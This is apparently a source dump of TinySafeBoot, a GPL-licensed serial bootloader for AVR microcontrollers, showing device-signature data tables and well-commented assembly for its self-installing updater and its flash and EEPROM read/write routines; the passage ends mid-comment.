data "tn261A"    , &h1E, &h91, &h0C, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn261"     , &h1E, &h91, &h0C, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn26"      , &h1E, &h91, &h09, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn28"      , &h1E, &h91, &h07, &h19, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "tn40"      , &h1E, &h92, &h0E, &h00, &h04, &h1B, &hFF, &hFF, &hFF, &hFF
data "tn4313"    , &h1E, &h92, &h0D, &h19, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "tn43U"     , &h1E, &h92, &h0C, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn441"     , &h1E, &h92, &h15, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn44A"     , &h1E, &h92, &h07, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn44"      , &h1E, &h92, &h07, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn45"      , &h1E, &h92, &h06, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn461A"    , &h1E, &h92, &h08, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn461"     , &h1E, &h92, &h08, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn48"      , &h1E, &h92, &h09, &h0C, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "tn4"       , &h1E, &h8F, &h0A, &hFF, &h00, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn5"       , &h1E, &h8F, &h09, &hFF, &h00, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn828"     , &h1E, &h93, &h14, &h00, &h04, &h08, &h0C, &hFF, &hFF, &hFF
data "tn841"     , &h1E, &h93, &h15, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn84A"     , &h1E, &h93, &h0C, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn84"      , &h1E, &h93, &h0C, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn85"      , &h1E, &h93, &h0B, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn861A"    , &h1E, &h93, &h0D, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn861"     , &h1E, &h93, &h0D, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn87"      , &h1E, &h93, &h87, &h00, &h03, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn88"      , &h1E, &h93, &h11, &h0C, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "tn9"       , &h1E, &h90, &h08, &hFF, &h00, &hFF, &hFF, &hFF, &hFF, &hFF
data "end devices"
'
'-----------------------------------------------------------------------
' INCLUDE DATA-BASE OF PRE-ASSEMBLED TSB-TEMPLATES FOR SUPPORTED DEVICES
'-----------------------------------------------------------------------
'
data "begin tt"
#include "datas.bas"
data "end tt"
'
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
' END BASIC CODE FOR TINYSAFEBOOT CONSOLE TOOL
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------










tsb/tsb.exe








tsb/tsb_logo.ico








tsb/tsb_tinymega.asm


;***********************************************************************
;***********************************************************************
;***********************************************************************
; tinysafeboot - the universal bootloader for ATtinys and ATmegas
;***********************************************************************
;***********************************************************************
;***********************************************************************
;
;-----------------------------------------------------------------------
; Written in 2011-2014 by Julien Thomas (Germany)
;
; This program is free software; you can redistribute it and/or
; modify it under the terms of the GNU General Public License
; as published by the Free Software Foundation; either version 3
; of the License, or (at your option) any later version.
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty
; of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
; See the GNU General Public License for more details.
; You should have received a copy of the GNU General Public License
; along with this program; if not, see:
; http://www.gnu.org/licenses/
;-----------------------------------------------------------------------
;
;***********************************************************************
; ADJUSTMENTS FOR INDIVIDUAL ASSEMBLY
;***********************************************************************
;
; This Sourcecode is directly compatible to: AVRASM2, GAVRASM*
;
; *) Newer devices may not be directly supported
;
.nolist
;
;-----------------------------------------------------------------------
; SPECIFY TARGET AVR
;-----------------------------------------------------------------------
;
; Comment in and provide def.inc file for target device
;
; [Examples]
;
;.include "tn2313def.inc"
;.include "tn85def.inc"
;.include "m8515def.inc"
;.include "m168def.inc"
;.include "m324Adef.inc"
;.include "tn441def.inc"
;.include "tn167def.inc"
;.include "tn861def.inc"
;.include "tn841def.inc"

;
; [...]
;

;-----------------------------------------------------------------------
; BUILD INFO
;-----------------------------------------------------------------------
; YY = Year - MM = Month - DD = Day
.set    YY      =       14
.set    MM      =        3
.set    DD      =       31

;.set    BUILDSTATE      = 0b11110000    ; version management option
.set BUILDSTATE = $F0

;-----------------------------------------------------------------------
; TSB / TSB-INSTALLER SWITCH
;-----------------------------------------------------------------------
; 0 = Regular assembly to target address
; 1 = TSB-Installer (ATtinys only)
;
.set    TSBINSTALLER = 1

;-----------------------------------------------------------------------
; PORTS
;-----------------------------------------------------------------------
;
; Important note: These are the defaults for making database template
;
.equ    RXPORT  = PORTB
.equ    RXPIN   = PINB
.equ    RXDDR   = DDRB
.equ    RXBIT   = 0
.equ    TXPORT  = PORTB
.equ    TXDDR   = DDRB
.equ    TXBIT   = 1

;-----------------------------------------------------------------------
;
;
;
;***********************************************************************
; DIRECTIVES AND DEFINITIONS FOR DIFFERENT ASSEMBLY OPTIONS
;***********************************************************************
;
; Autodetect ATtiny / ATmega and set TINYMEGA switch accordingly

.ifndef RWW_START_ADDR
        .equ TINYMEGA = 0
        .message "DETECTED ATTINY DEFINITIONS."
.else
        .if RWW_START_ADDR == RWW_STOP_ADDR
        .equ TINYMEGA = 0
        .message "DETECTED ATTINY DEFINITIONS."
        .else
        .equ TINYMEGA = 1
        .message "DETECTED ATMEGA DEFINITIONS."
        .endif
.endif

;-----------------------------------------------------------------------

.if FLASHEND > ($7fff)
        .error "SORRY! Devices over 64 KB not supported at the time."
        .exit
.endif

;-----------------------------------------------------------------------
;
; Workarounds for some newer devices with renamed or missing definitions
;
.ifndef SPMCSR                  ; SPMEN / PGERS / ...
        .equ SPMCSR = SPMCR
.endif

.ifndef MCUSR                   ; PORF / EXTRF / BORF / WDRF
        .equ MCUSR = MCUCSR
.endif

; Detect Attiny441/841 to amend missing definition of PAGESIZE
;
.set FOURPAGES = 0
.if SIGNATURE_000 == $1E
        .if SIGNATURE_002 == $15
                .if SIGNATURE_001 == $92 || SIGNATURE_001 == $93
                    .equ PAGESIZE = 32
                    .set FOURPAGES = 1
                    .message "ATTINY441/841: 4-PAGE-ERASE MODE"
                .endif
        .endif
.endif

;-----------------------------------------------------------------------
;-----------------------------------------------------------------------
;-----------------------------------------------------------------------


; Command and confirmation characters
.equ    REQUEST         = '?'           ; request / answer / go on
.equ    CONFIRM         = '!'           ; confirm / attention

; Current bootloader version
.equ    BUILDDATE   = YY * 512 + MM * 32 + DD

; Programming Presets
.equ    INFOLEN         = 8              ; exact words of device info

; Absolute Address constants (WORDS) for assembly of TSB

.if TINYMEGA == 0

; TSB at target location on ATtinys
.equ    TSBLEN          = ((280 / PAGESIZE)+1) * PAGESIZE
.equ    BOOTSTART       = (FLASHEND+1) - PAGESIZE - TSBLEN
.equ    LASTPAGE        = BOOTSTART + TSBLEN
.equ    DEVICEINFO      = BOOTSTART + TSBLEN - INFOLEN

; Start address of temporary TSB code for TSB-Installer (only ATtinys)
.equ    TBOOTSTART      = $00C0
.equ    TLASTPAGE       = TBOOTSTART + TSBLEN
.equ    TDEVICEINFO     = TLASTPAGE - INFOLEN
.endif

.if TINYMEGA == 1

; TSB at target location on ATmegas
.equ    BOOTSTART       = (FLASHEND+1)-256      ; = 512 Bytes
.equ    LASTPAGE        = BOOTSTART - PAGESIZE  ; = 1 page below TSB!
.endif

; SRAM buffer and stack
.equ    BUFFER          = SRAM_START

; Registers (in use by TSB-Firmware  AND  TSB-Installer)
.def    avecl   = r4                    ; application vector temp low
.def    avech   = r5                    ; application vector temp high
.def    bclkl   = r6                    ; baudclock low byte
.def    bclkh   = r7                    ; baudclock high byte

.def    tmp1    = r16                   ; universal
.def    tmp2    = r17                   ; temporary
.def    tmp3    = r18                   ; registers
.def    bcnt    = r19                   ; page bytecounter

;-----------------------------------------------------------------------
;
; we may assemble TSB directly for target address area (ATtinys/ATmegas)
; or make the TSB-Installer that's beginning at Flashstart (ATtinys)

.if TINYMEGA == 0
.message "START ASSEMBLY OF TSB FOR ATTINY."

.if TSBINSTALLER == 1
.message "Assembly of TSB-Installer."


        .if FOURPAGES == 0
                .set RPAGESIZE = PAGESIZE
        .else
                .set RPAGESIZE = PAGESIZE / 4
        .endif

;***********************************************************************
; START OF TSB-INSTALLER FOR ATTINYS
;***********************************************************************
; TSB-Installers may be loaded via ISP but also by any bootloader
; already residing on the target ATtiny. With first activation,
; the TSB-Installer will check its own integrity and completeness,
; then remove reset vector and erase old bootloader from upper memory
; locations. It will then transfer the brought-along new TSB-Firmware
; to its target location and finally remove itself from memory.
;
; NOTE: This update mechanism is applicable only on ATtinys.
;
; The process evolves in 5 levels:
;
; 1. check if the program was uploaded true and completely.
; 2. remove modified reset-jump at $0000 and thus reinstate itself
;    for being the one and only reset target.
; 3. erase previous bootloader code.
; 4. write and verify new code into upper flash with insistent retries
;    on errors, reset or power failure, until success.
; 5. cleanup (self-erase) and handover to new bootloader.
;
;-----------------------------------------------------------------------
; Registers (exclusively in use by TSB-Installer)
;-----------------------------------------------------------------------
;
.def    pcnt    = r20                   ; page counter
.def    checkl  = r21
.def    checkh  = r22                   ; checksum counter

.def    tslo    = r8                    ; temp current source address
.def    tshi    = r9
.def    ttlo    = r10                   ; temp current target address
.def    tthi    = r11
.def    bflo    = r12                   ; start address of buffer
.def    bfhi    = r13

;-----------------------------------------------------------------------
; 1st PAGE: RESET-JUMP / JUMP TO LEVEL 1 (INTEGRITY CHECK)
;-----------------------------------------------------------------------

.org $0000                      ; Installer starts like ordinary App

.if FLASHEND >= ($1fff)
        .message "Using JMP for Reset Vector."
        jmp  TL1CHECK
.else
        .message "Using RJMP for Reset Vector."
        rjmp TL1CHECK
.endif

.org (RPAGESIZE-2)
TL1CHECK:
rjmp L1CHECK                            ; LEVEL 1 start with selftest
;rjmp TTRESET                           ; circumvent selftest
.db $00, $00                            ; checksum to be placed here

;-----------------------------------------------------------------------
; 2nd PAGE: START OF TSB-INSTALLER CRITICAL CODE
;-----------------------------------------------------------------------

.org (RPAGESIZE)

TTRESET:
        cli
        ldi tmp1, low (RAMEND)          ; write ramend low to SPL
        out SPL, tmp1
        .ifdef SPH
        ldi tmp1, high(RAMEND)          ; write ramend high to SPH
        out SPH, tmp1                   ; when SRAM > 256 bytes
        .endif

        rjmp L2EraseFirstPage

;-----------------------------------------------------------------------
; LEVEL 1 - CHECK INTEGRITY OF TSB-INSTALLER
;-----------------------------------------------------------------------
; First of all we have to check integrity of the TSB-Installer at whole.
; Therefore a Checksum is calculated over all pages carrying relevant
; TSB-Installer and attached TSB-Firmware machine code.
; If this value (16 bit) is equal to the checksum that's been placed
; into the first page (precalculated by TSB-SW in the course of making
; customized TSB-Installer), we can be sure that the Installer has been
; uploaded completely and it is safe to start LEVEL 2.
; Yet with checksum error, the Installer would never leave this level
; and the old Bootloader will stay in force.

L1CHECK:
        cli
        ldi zh, high((RPAGESIZE-1)*2)    ; checksum stored by TSB-SW
        ldi zl, low ((RPAGESIZE-1)*2)    ; in last two bytes of 1st page
        lpm checkh, z+                  ; load checksum high byte
        lpm checkl, z+                  ; load checksum low byte
        ldi pcnt,(TLASTPAGE/RPAGESIZE)-1 ; # of pages to check
L1C0:   ldi bcnt, low(RPAGESIZE*2)       ; # of bytes to check per page
L1C1:   lpm tmp1, z+                    ; load byte of TSB-FW
        sub checkl, tmp1                ; subtract byte value
        sbci checkh, 0                  ; from checksum word
        dec bcnt                        ; until full page checked
        brne L1C1                       ; loop on
        dec pcnt
        brne L1C0                       ; until all pages checked
L1C2:
        cpi checkl, 0                   ; if checksum was correct,
        brne L1C2                       ; both bytes will be zero
        cpi checkh, 0                   ; else we canot continue
        brne L1C2                       ; and loop in here

        rjmp TTRESET

;-----------------------------------------------------------------------
; LEVEL 2 - REMOVE RESET-VECTOR TO OLD BOOTLOADER
;-----------------------------------------------------------------------
; After integrity of the TSB-Installer has been proven in Level 1,
; we can simply erase the whole 1st page, since it only contained the
; reset-jump to the old bootloader, the rjmp to the checksum routine
; and the checksum.
; Relevant machine code for the remaining tasks of TSB-Installer
; begins in 2nd page and will then be started directly with further
; resets or coldstarts.

L2EraseFirstPage:
        clr zl                          ; set Z to $0000
        clr zh                          ; start of 1st page
        ldi tmp1, 0b00000011            ; enable PGERS + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR and go -
        spm                             ; erase that 1st page!

;-----------------------------------------------------------------------
; LEVEL 3 - ERASE PREVIOUS BOOTLOADER
;-----------------------------------------------------------------------
; Erase flash memory that may contain old bootloader's code
; down from LASTPAGE/FLASHEND to TLASTPAGE.

        ldi zl, low (LASTPAGE*2)        ; reset Z to LASTPAGE's start
        ldi zh, high(LASTPAGE*2)
        ldi pcnt, low ((LASTPAGE - TLASTPAGE) / RPAGESIZE) + 1
L3EPB0:
        ldi tmp1, 0b00000011            ; enable PGERS + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR and erase current
        spm                             ; page by SPM (MCU halted)
        subi zl, low (RPAGESIZE*2)       ; Z = Z - PAGESIZE * 2
        sbci zh, high(RPAGESIZE*2)
        dec pcnt
        brne L3EPB0

;-----------------------------------------------------------------------
; LEVEL 4 - WRITE/VERIFY NEW BOOTLOADER
;-----------------------------------------------------------------------
; Copy new bootloader to its final location in upper flash memory.
; If verifying should fail, this will be repeated by every next reset.
; Pages copied top-to-bottom to avoid overlap in small attinys < 1k.

L4WriteVerify:

        ldi tmp1, low  (TLASTPAGE*2)    ; starting address source
        ldi tmp2, high (TLASTPAGE*2)
        movw tslo, tmp1

        ldi tmp1, low  (LASTPAGE*2)     ; starting address target
        ldi tmp2, high (LASTPAGE*2)
        movw ttlo, tmp1

        ldi pcnt, (((LASTPAGE-BOOTSTART)/RPAGESIZE)+1)   ; # of pages

; load source page contents into buffer
L4WV0:
        ldi yl, low (BUFFER)            ; set y to start address
        ldi yh, high(BUFFER)            ; of buffer (in SRAM)
        movw bflo, yl                   ; buffer start to bfhi/bflo
        ldi bcnt, low (RPAGESIZE*2)

        movw zl, tslo                   ; load Z with source address
L4WV1:
        lpm tmp1, z+                    ; load flash byte
        st y+, tmp1                     ; and store in buffer
        dec bcnt                        ; until full page buffered
        brne L4WV1                      ; loop on
        subi zl, low (RPAGESIZE*4)       ; decrease by two pages
        sbci zh, high(RPAGESIZE*4)       ; to continue one page below
        movw tslo, zl                   ; save current Z

; transfer buffer to flash write buffer and write to target page
        movw yl, bflo                   ; restore y to buffer start
        ldi bcnt, low(RPAGESIZE*2)
        movw zl, ttlo                   ; load Z with target address
L4WV2:
        ld r0, y+                       ; fill R0/R1 with word
        ld r1, y+                       ; from buffer position Y
        ldi tmp1, 0b00000001            ; set only SPMEN
        out SPMCSR, tmp1                ; to activate page buffering
        spm                             ; store word in page buffer
        adiw zl, 2                      ; Z = Z + 2
        subi bcnt, 2                    ; bcnt=bcnt-2
        brne L4WV2
        subi zl, low (RPAGESIZE*2)       ; restore Z to start of current
        sbci zh, high(RPAGESIZE*2)       ; page for write and verify

        ldi tmp1, 0b00000101            ; enable PRWRT + SPMEN
        out SPMCSR, tmp1                ; in SPMCSR and
        spm                             ; write flash page from buffer

L4WV3:  in tmp1, SPMCSR                 ; wait for flash write finished
        sbrc tmp1, 0                    ; go on if SPMEN cleared
        rjmp L4WV3                      ; otherwise wait along

; verify page just written, but stop everything in case of an error

L4WV4:
        movw yl, bflo                   ; restore y to buffer start
        ldi bcnt, low (RPAGESIZE*2)
L4WV5:
        lpm tmp1, z+                    ; load byte from flash
        ld tmp2, y+                     ; load buffer byte
        cp tmp1, tmp2                   ; compare them
        breq L4WV7                      ; and loop on if equal

L4WV6:  rjmp L4WV6                      ; else - hangup!

L4WV7:  dec bcnt                        ; count down page bytecounter
        brne L4WV5                      ; loop until all bytes checked
        subi zl, low (RPAGESIZE*4)       ; decrease by two pages
        sbci zh, high(RPAGESIZE*4)       ; to continue one page below
        movw ttlo, zl                   ; save z to target pointer
L4WV8:
        dec pcnt                        ; loop on with write and verify
        brne L4WV0                      ; until all pages transferred
L4WVx:

;-----------------------------------------------------------------------
; LEVEL 5 - CLEANUP AND HANDOVER TO NEW TSB
;-----------------------------------------------------------------------
; Jump to the absolute address of 'EraseAppFlash' in new TSB.
; This will remove all installer code from memory and safely complete
; the installation by leaving new TSB with cleaned up AppFlash.

L5EraseInstaller:
        ldi tmp1, low (EraseAppFlash+(BOOTSTART-TBOOTSTART))
        ldi tmp2, high(EraseAppFlash+(BOOTSTART-TBOOTSTART))
        push tmp1                       ; push lowbyte on stack
        push tmp2                       ; push highbyte on stack
        ret                             ; = absolute jump


;***********************************************************************
; END OF TSB-INSTALLER ROUTINES
;***********************************************************************

.endif          ; from IF-part for TSB-INSTALLER = 1

;***********************************************************************
; START OF REGULAR TSB CODE FOR ATTINYS
;***********************************************************************
; NOTE: The programming of TSB is largely relocatable which allows
; it being assembled inline with the Installer-routines above.
; Only the absolute addresses of LASTPAGE, BOOTSTART and DEVICEINFO are
; to be hard coded with respect to the bootloader's target location.

; Make TSB piggyback Installer at TBOOTSTART
.if TSBINSTALLER == 1
.org TBOOTSTART
.endif

; Make TSB for target address at BOOTSTART
.if TSBINSTALLER == 0
.org BOOTSTART
.endif

RESET:
        cli                             ; just to be sure...
        ldi tmp1, low (RAMEND)          ; write ramend low
        out SPL, tmp1                   ; into SPL (stackpointer low)
        .ifdef SPH
        ldi tmp1, high(RAMEND)          ; write ramend high for ATtinys
        out SPH, tmp1                   ; with SRAM > 256 bytes
        .endif

        in tmp1, MCUSR                  ; check MCUSR for WDRF
        sbrc tmp1, WDRF                 ; if this is a watchdog reset
        rjmp APPJUMP                    ; immediately leave TSB

;-----------------------------------------------------------------------
; ACTIVATION CHECK
;-----------------------------------------------------------------------
; Configure RX/TX Ports
; Wait for startbit and first auto-calibration character before timeout

WaitRX:
        sbi TXDDR, TXBIT                ; if RX=TX ("One-Wire"), port is
        cbi RXDDR, RXBIT                ; driven like open collector,
        sbi RXPORT, RXBIT               ; else RX is input with pullup
        sbi TXPORT, TXBIT               ; and TX actively driven "1"

WRXto:
        adiw xl, 1                      ; allow port levels to set
        brne WRXto                      ; await some milliseconds

        sbis RXPIN, RXBIT               ; if RX is low from the start
        rjmp APPJUMP                    ; direct APPJUMP

        rcall ZtoLASTPAGE               ; set Z to start'o'LASTPAGE
        adiw zl, 2                      ; skip first 2 bytes (APPJUMP)
        lpm tmp3, z+                    ; load TIMEOUT byte, leave Z+3
        cpi tmp3, 8                     ; ensure least delay for
        brcc WRX0                       ; accessibility of bootloader
        ldi tmp3, 8
WRX0:
        dec tmp1                        ; inner counter to delay
        brne WRX0                       ; for debouncing/denoising
        sbis RXPIN, RXBIT               ; if serial startbit occurs
        rjmp Activate                   ; go Activate
        dec tmp2                        ; else
        brne WRX0                       ; count down
        dec tmp3                        ; to TIMEOUT (from LASTPAGE)
        brne WRX0                       ; if timeout elapsed
        rjmp APPJUMP                    ; goto APPJUMP in LASTPAGE

;-----------------------------------------------------------------------
; BAUDRATE CALIBRATION CYCLE
;-----------------------------------------------------------------------
; Calibrate from leading autobaud characters ('@@@')
;                databits
;    startbit > S12345678S < stopbit
;    1st byte : 0000000101   startbit + bits 1-6 only for activation
; followed by : 0000000101   measure starts with bitcell 8 in 1st byte
; followed by : 0000000101   ends with bitcell 8 in last byte
; ... summing up to 17 bitcells for good timing reference

Activate:
        clr xl                          ; clear temporary
        clr xh                          ; baudrate counters
        ldi tmp1, 5                     ; counter for bit-changes
actw0:
        sbis RXPIN, RXBIT               ; idle 0-states
        rjmp actw0                      ; which may be inaccurate
actw1:
        sbic RXPIN, RXBIT               ; idle first 1-state
        rjmp actw1
actw2:
        adiw xl, 1                      ; precision measuring loop
        sbis RXPIN, RXBIT               ; count clock cycles in 0-state
        rjmp actw2
        dec tmp1                        ; count intermediary 1-states
        brne actw1                      ; up to complete result
        movw bclkl, xl                  ; save result in bclk
;        rcall Waitbitcell               ; since we are still in stopbit

;-----------------------------------------------------------------------
; CHECK PASSWORD
;-----------------------------------------------------------------------
; Check Password, if existing. No feedback whatsoever while characters
; are being received - silent hangup with wrong characters submit.
; After full and correct password has been entered, send device info.
; (OR: detect and execute command for an Emergency Erase)
; uses: tmp1, tmp3, Z (must point to LASTPAGE+3 at the beginning)

CheckPW:
chpw1:
        lpm tmp3, z+                    ; load character from Flash
        cpi tmp3, 255                   ; byte value (255) indicates
        breq chpwx                      ; end of password -> exit
        rcall Receivebyte               ; else receive next character
chpw2:
        cp tmp3, tmp1                   ; compare with password
        breq chpw1                      ; if equal check next character
        cpi tmp1, 0                     ; or was it 0 (emergency erase)
chpwl:  brne chpwl                      ; if not, loop infinitely
        rcall RequestConfirmation       ; if yes, request confirm
        brts chpa                       ; not confirmed, leave
        rcall RequestConfirmation       ; request 2nd confirm
        brts chpa                       ; can't be mistake now
        rcall EmergencyErase            ; go, emergency erase!

chpa:
        rjmp APPJUMP                    ; start application
chpwx:
;       rjmp SendDeviceInfo             ; go on to SendDeviceInfo

;-----------------------------------------------------------------------
; SEND DEVICEINFO
;-----------------------------------------------------------------------

SendDeviceInfo:
        ldi zl, low (DEVICEINFO*2)      ; load address of deviceinfo
        ldi zh, high(DEVICEINFO*2)      ; low and highbyte
        ldi bcnt, INFOLEN*2
        rcall SendFromFlash
;       rjmp Mainloop

;-----------------------------------------------------------------------
; MAIN LOOP TO RECEIVE AND EXECUTE COMMANDS
;-----------------------------------------------------------------------

Mainloop:
        clr zl                          ; clear Z pointer
        clr zh                          ; which is frequently used
        ldi tmp1, CONFIRM               ; send CONFIRM
        rcall Transmitbyte              ; via RS232
        rcall Receivebyte               ; receive command via RS232
        rcall CheckCommands             ; check command letter
        rjmp Mainloop                   ; and loop on

;-----------------------------------------------------------------------
; CHANGE USER DATA IN LASTPAGE
;-----------------------------------------------------------------------
; Receive page data and write into LASTPAGE
; uses: Y, Z, r0, r1, tmp1, bcnt

ChangeSettings:
        rcall GetNewPage                ; get new LASTPAGE contents
        brtc ChaSets0                   ; from Host (if confirmed)
        ret
ChaSets0:
        rcall ZtoLASTPAGE               ; re-write LASTPAGE
        set                             ; T=1 to disable internal verify
        rcall WritePageAfterErase       ; erase and write LASTPAGE

;-----------------------------------------------------------------------
; SEND USER DATA FROM LASTPAGE
;-----------------------------------------------------------------------
; uses: bcnt

ControlSettings:
        rcall ZtoLASTPAGE               ; point to LASTPAGE
;       rjmp SendPageFromFlash          ; send LASTPAGE over RS232

;-----------------------------------------------------------------------
; SEND DATA FROM FLASH MEMORY
;-----------------------------------------------------------------------
; Send bcnt number of flash memory bytes, count up Z accordingly
; uses: tmp1, bcnt, Z

SendPageFromFlash:
        ldi bcnt, low (PAGESIZE*2)

SendFromFlash:
        lpm tmp1, z+                    ; read directly from flash
        rcall Transmitbyte              ; and send out to RS232
        dec bcnt                        ; bcnt is number of bytes
        brne SendFromFlash
        ret

;-----------------------------------------------------------------------
; READ APPLICATION FLASH
;-----------------------------------------------------------------------
; read and transmit application flash area (pagewise)
; uses: Z (should be $0000 at the beginning), tmp1, bcnt

ReadAppFlash:
RAF0:   rcall RwaitConfirmation
        brts RAFx
        ldi bcnt, low(PAGESIZE*2)
        rcall SendPageFromFlash
RAF1:   cpi zl, low (BOOTSTART*2)
        brne RAF0
        cpi zh, high(BOOTSTART*2)       ; count Z to end of flash
        brne RAF0
RAFx:
        ret

;-----------------------------------------------------------------------
; WRITE APPLICATION FLASH
;-----------------------------------------------------------------------
; Write Appflash pagewise, modify reset vector and RJMP APP

WriteAppFlash:
        rcall EraseAppFlash             ; Erase whole app flash
        rcall GetNewPage                ; get first page's data
        brtc Flash1                     ; continue on CONFIRM (T=0)
        ret                             ; abort with Flash erased (T=1)

Flash1:
        rcall YtoBUFFER

.if FLASHEND >= ($1fff)                 ; biggg ATtiny

.message "ATtiny => 16 KB uses JMP for modified reset vector."
        ldd avecl, y+2                  ; read address portion of JMP
        ldd avech, y+3                  ; directly into avecl/avech
        ldi tmp1, low (BOOTSTART)       ; generate new JMP target
        ldi tmp2, high(BOOTSTART)       ; (16 bits = byte 3+4)
        std y+2, tmp1                   ; write low/highbyte of changed
        std y+3, tmp2                   ; jump address into buffer

.else                                   ; small ATtiny

.message "ATtiny < 16 KB uses RJMP for modified reset vector."
        ldd tmp1, y+0                   ; read bytes from original rjmp
        ldd tmp2, y+1                   ; into tmp1/tmp2
        subi tmp1, low (-(4096-LASTPAGE))      ; calculate
        sbci tmp2, high(-(4096-LASTPAGE))      ; rjmp APPSTART
        movw avecl, tmp1                ; save for later reference
        ldi tmp1, low (BOOTSTART-1 + $C000)     ; generate new opcode
        ldi tmp2, high(BOOTSTART-1 + $C000)     ; for rjmp BOOTSTART
        std y+0, tmp1                   ; replace rjmp in buffer
        std y+1, tmp2                   ; with rjmp BOOTSTART

.endif

        rcall WritePage                 ; write modified first page

Flash2:
        rcall GetNewPage                ; get next page to write
        brts FlashX                     ; stop on user's behalf
Flash3:
        rcall WritePage                 ; write page data into flash
Flash4:
        cpi zh, high(BOOTSTART*2-1)     ; check for end of Appflash
        brne Flash2                     ; if Z reached last location
        cpi zl, low (BOOTSTART*2-1)     ; then we are finished
        brne Flash2                     ; else go on
FlashX:
        rcall ReadLastPage              ; finally update LASTPAGE
        std y+0, avecl                  ; change first opcode
        std y+1, avech                  ; to jump target, then go
        rjmp WritePageafterErase

;-----------------------------------------------------------------------
; CHECK COMMANDS
;-----------------------------------------------------------------------
; Placed 'in between' to reach all subs by direct branches :-)

CheckCommands:
        cpi tmp1, 'c'                   ; read LASTPAGE
        breq ControlSettings
        cpi tmp1, 'C'                   ; write LASTPAGE
        breq ChangeSettings
        cpi tmp1, 'f'                   ; read Appflash
        breq ReadAppFlash
        cpi tmp1, 'F'                   ; write Appflash
        breq WriteAppFlash
        cpi tmp1, 'e'                   ; read EEPROM
        breq EEpromRead
        cpi tmp1, 'E'                   ; write EEPROM
        breq EEpromWrite
        rjmp APPJUMP                    ; else start application

;-----------------------------------------------------------------------
; EEPROM READ/WRITE ACCESS
;-----------------------------------------------------------------------
; Read or write full EEPROM address space
; With blocksize = PAGESIZE * 2 (since PAGESIZE is defined in words)
; uses: Y, Z, tmp1, tmp3

EEpromRead:
EeRe1:
        rcall RwaitConfirmation         ; wait to confirm
        brts EERWFx                     ; else we are finished
        ldi bcnt, low(PAGESIZE*2)       ; again PAGESIZE*2 is blocksize
EERe2:
        out EEARL, zl                   ; current EEPROM address low
        .ifdef  EEARH
        out EEARH, zh                   ; current EEPROM address high
        .endif
        sbi EECR, 0                     ; set EERE - EEPROM read enable
        in tmp1, EEDR                   ; read byte from current address
        rcall Transmitbyte              ; send out to RS232
        adiw zl,1                       ; count up EEPROM address
        dec bcnt                        ; count down block byte counter
        brne EERe2                      ; loop on if block not finished
        rjmp EERe1

;-----------------------------------------------------------------------

EEpromWrite:
EEWr0:
        rcall GetNewPage                ; get EEPROM datablock
        brts EERWFx                     ; or abort on host's demand
EEWr1:
        rcall YtoBUFFER                 ; Y = Buffer and Bcnt = blocksize
EEWr2:
        ld tmp1, y+                     ; read EEPROM byte from buffer
        rcall EEWriteByte
        dec bcnt                        ; count down block byte counter
        brne EEWr2                      ; loop on if block not finished
        rjmp EeWr0

EERWFx:
        ret

;-----------------------------------------------------------------------

EEWriteByte:
        out EEDR, tmp1                  ; write to EEPROM data register
        out EEARL, zl                   ; current EEPROM address low
        .ifdef  EEARH
        out EEARH, zh                   ; high EEARH for some attinys
        .endif
        sbi EECR, 2                     ; EEPROM master prog enable
        sbi EECR, 1                     ; EEPE initiate prog cycle
EeWB:
        sbic EECR, 1                    ; wait write cycle to complete
        rjmp EeWB                       ; before we can go on
        adiw zl,1                       ; count up EEPROM address
        ret

;-----------------------------------------------------------------------
; READ LASTPAGE INTO BUFFER
;-----------------------------------------------------------------------
; Page Address Z, SRAM buffer pointer Y, repoint Z to LASTPAGE

ReadLastPage:
        rcall ZtoLASTPAGE               ; reset Z to LASTPAGE start
        rcall YtoBUFFER                 ; reset Y to BUFFER start
ReLaPa:
        lpm tmp1, z+                    ; read byte from flash memory
        st y+, tmp1                     ; store in SRAM via Y pointer
        dec bcnt
        brne ReLaPa
ReLax:
        rcall ZtoLASTPAGE               ; reset Z to LASTPAGE start
        rjmp  YtoBUFFER                 ; reset Y to BUFFER start

;-----------------------------------------------------------------------
; GET NEW PAGE
;-----------------------------------------------------------------------
; Read page data into SRAM buffer
; uses: X, tmp1, bcnt, SRAM

GetNewPage:
        rcall RequestConfirmation       ; check for confirmation
        brts GNPx                       ; abort if not confirmed
GNP0:   rcall YtoBUFFER                 ; Y = BUFFER, bcnt = PAGESIZE*2
GNP1:   rcall ReceiveByte               ; receive serial byte
        st y+, tmp1                     ; and store in buffer
        dec bcnt                        ; until full page loaded
        brne GNP1                       ; loop on
GNPx:
        ret                             ; finished

;-----------------------------------------------------------------------
; REQUEST TO CONFIRM / AWAIT CONFIRM COMMAND
;-----------------------------------------------------------------------
; Send REQUEST and wait answer from Host (received character in tmp1)
; T=0: CONFIRM / T=1: NOT CONFIRM (any other char)

